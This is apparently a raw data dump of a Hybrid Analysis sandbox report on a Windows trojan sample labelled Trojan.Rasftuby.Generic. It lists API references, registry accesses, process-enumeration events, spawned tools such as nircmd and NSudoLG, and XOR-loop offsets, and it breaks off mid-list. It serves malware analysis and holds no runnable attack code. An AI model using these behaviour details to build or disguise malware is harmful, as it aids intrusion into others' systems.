26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4fe,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Trojan.Rasftuby.Generic Sample 9c56898b035c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 9c56898b035c…. Malware family: Trojan.Rasftuby.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 11 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985","keywords":["Malicious","Trojan.Rasftuby.Generic","malware analysis","sandbox report","threat intelligence","9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985"],"about":{"@type":"SoftwareApplication","name":"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe","applicationCategory":["peexe","executable","compressed","sfx","rar"],"identifier":"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Trojan.Rasftuby.Generic","antivirusDetections":{"malicious":12,"total":27},"behavioralIndicators":{"malicious":11,"suspicious":11},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tba3,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "KeWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "ZwWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")28:T907,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "LoadLibraryShim" (Indicator: "LoadLibrary"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp")29:Teb7,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ALLOWEDENUMERATION") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ALLOWEDENUMERATION") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{BCBD3057-CA5C-4622-B42D-BC56DB0AE516}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{00BCFC5A-ED94-4E48-96A1-3F6217F21990}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{0DDD015D-B06C-45D5-8C4C-F59713854639}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TERMINAL SERVER") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST\S-1-5-21-735145574-3570218355-1207367261-1001\FDEPLOY") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{A302545D-DEFF-464B-ABE8-61C8648D939B}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{2B0F765D-C0E9-4171-908E-08A611B84FF6}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{2A00375E-224C-49DE-B8D1-440DF7EF3DDC}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{E555AB60-153B-4D17-9F04-A5FE99FC15EC}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{054FAE61-4DD8-4787-80B6-090220C4B700}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{1777F761-68AD-4D8A-87BD-30B759FA33DD}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{35286A68-3C57-41A1-BBB1-0EAE73D76C95}\PROPERTYBAG") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{52528A6B-B9E3-4ADD-B60D-588C2DBA842D}\PROPERTYBAG")2a:Tbca,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-364546153 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-364556371 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-364750679 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-364760188 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-365145043 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-365155379 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-365571192 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-365582020 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-367048244 [PID: 2668] "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" queried SystemProcessInformation at 00000000-00002668-00000C15-367056936 [PID: 2668] "cmd.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-367887017 [PID: 1656] "cmd.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-367902333 [PID: 1656] "cmd.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-368195039 [PID: 1656] "cmd.exe" queried SystemProcessInformation at 00000000-00001656-00000C15-368204690 [PID: 1656] "nircmd.exe" queried SystemProcessInformation at 00000000-00007940-00000C15-368871191 [PID: 7940] "nircmd.exe" queried SystemProcessInformation at 00000000-00007940-00000C15-368880260 [PID: 7940] "reg.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-374393475 [PID: 4960] "reg.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-374401385 [PID: 4960] "reg.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-374610627 [PID: 4960] "reg.exe" queried SystemProcessInformation at 00000000-00004960-00000C15-374618362 [PID: 4960] "reg.exe" queried SystemProcessInformation at 00000000-00008136-00000C15-379553733 [PID: 8136] "reg.exe" queried SystemProcessInformation at 00000000-00008136-00000C15-379562548 [PID: 8136] "reg.exe" queried SystemProcessInformation at 00000000-00008136-00000C15-379787951 [PID: 8136] "reg.exe" queried SystemProcessInformation at 00000000-00008136-00000C15-379796475 [PID: 8136] "NSudoLG.exe" queried SystemProcessInformation at 00000000-00006880-00000C15-384756362 [PID: 6880]2b:T12f1,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-15-00EA42E8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-15-00EA42E8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-92-00EAAF4A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-92-00EAAF4A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-100-00EA564E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-100-00EA564E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-107-00EA2F36 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-107-00EA2F36 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-111-00EA38C9 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-111-00EA38C9 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-113-00EA424F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-113-00EA424F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-115-00EA3B2F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-115-00EA3B2F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-116-00EA3CA3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-116-00EA3CA3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-117-00EA3DE4 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-117-00EA3DE4 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-119-00EA6A43 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-119-00EA6A43 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-129-00EA7FA6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-129-00EA7FA6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-130-00EA9DDA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-130-00EA9DDA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-142-00EA83DB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-142-00EA83DB Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-143-00EA8F30 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-143-00EA8F30 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-144-00EA9240 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-144-00EA9240 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-152-00EA96A2 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-152-00EA96A2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-161-00EA8624 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-161-00EA8624 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004960-14840-162-00EA878A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004960-14840-162-00EA878A Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004960-14840-166-00EACA53 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004960-14840-166-00EACA53 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004960-14840-166-00EACA53 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004960-14840-166-00EACA53 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004960-14840-166-00EACA53 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00004960-14840-166-00EACA53 Assembly shows XOR instruction xor ecx 000007F0h in Stream UID: 00000000-00006000-21029-180-01232340 Assembly shows XOR instruction xor ebx eax in Stream UID: 00000000-00006000-21029-180-01232340 Assembly shows XOR instruction xor eax 000007F0h in Stream UID: 00000000-00006000-21029-180-01232340 Assembly shows XOR instruction xor ebx eax in Stream UID: 00000000-00006000-21029-270-0123C710 Assembly shows XOR instruction xor eax dword ptr [0126B380h+ebx*4] in Stream UID: 00000000-00006000-21029-270-0123C710 Assembly shows XOR instruction xor esi eax in Stream UID: 00000000-00006000-21029-1382-011A6883 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00006000-21029-1723-011BE9C12c:T78ef,Found XOR loop in file "mika.exe" at offset 130731; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 153455; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 216111; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 261552; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 265320; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 346905; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 396173; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 512105; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 537226; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 538564; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 634851; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 647173; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 842730; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 855008; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 897680; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 954272; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1019880; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1069507; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1184224; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1208128; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1397685; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1406115; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1434554; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1799108; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1806954; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1814575; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1883932; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1921561; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1978487; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 1995067; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2142912; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2149009; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2164042; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2205937; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2256197; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2278663; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2279516; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2284154; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2351630; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2395627; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2461672; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2575498; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2593232; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2657534; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2679660; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2686492; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2693412; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2750018; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2753705; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2827156; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2848533; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2849814; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2850726; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 2927758; code bytes = 30d0 Found XOR loop in file "mika.exe" at offset 169248; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 199075; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 209774; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 292563; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 340065; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 358713; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 460453; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 491954; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 538426; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 705512; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 824682; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 859743; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1018635; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1063811; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1069862; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1226883; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1258580; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1266336; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1434661; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1526130; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1536935; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1658237; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1749730; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1751932; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1780065; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1822465; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1909652; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1928373; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 1993597; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2156951; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2441298; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2442840; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2553035; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2792984; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2808935; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 2881642; code bytes = 33c1 Found XOR loop in file "mika.exe" at offset 93320; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 183167; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 193349; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 233419; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 341727; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 343029; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 343044; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 428677; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 527859; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 578958; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 592773; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 788326; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 966713; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1058400; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1093620; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1126054; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1212414; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1278749; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284603; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284747; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284786; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284845; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1284885; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1354662; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1402425; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1408842; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1423149; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1715559; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1743234; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1783292; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1911721; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 1990614; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2067828; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2144682; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2159546; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2187144; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2195905; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2221454; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2223412; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2229651; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2251360; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2257199; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2260892; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2260975; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2263117; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2323192; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2358637; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2387893; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2397976; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2399771; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2405883; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 2412174; code bytes = 8030 Found XOR loop in file "mika.exe" at offset 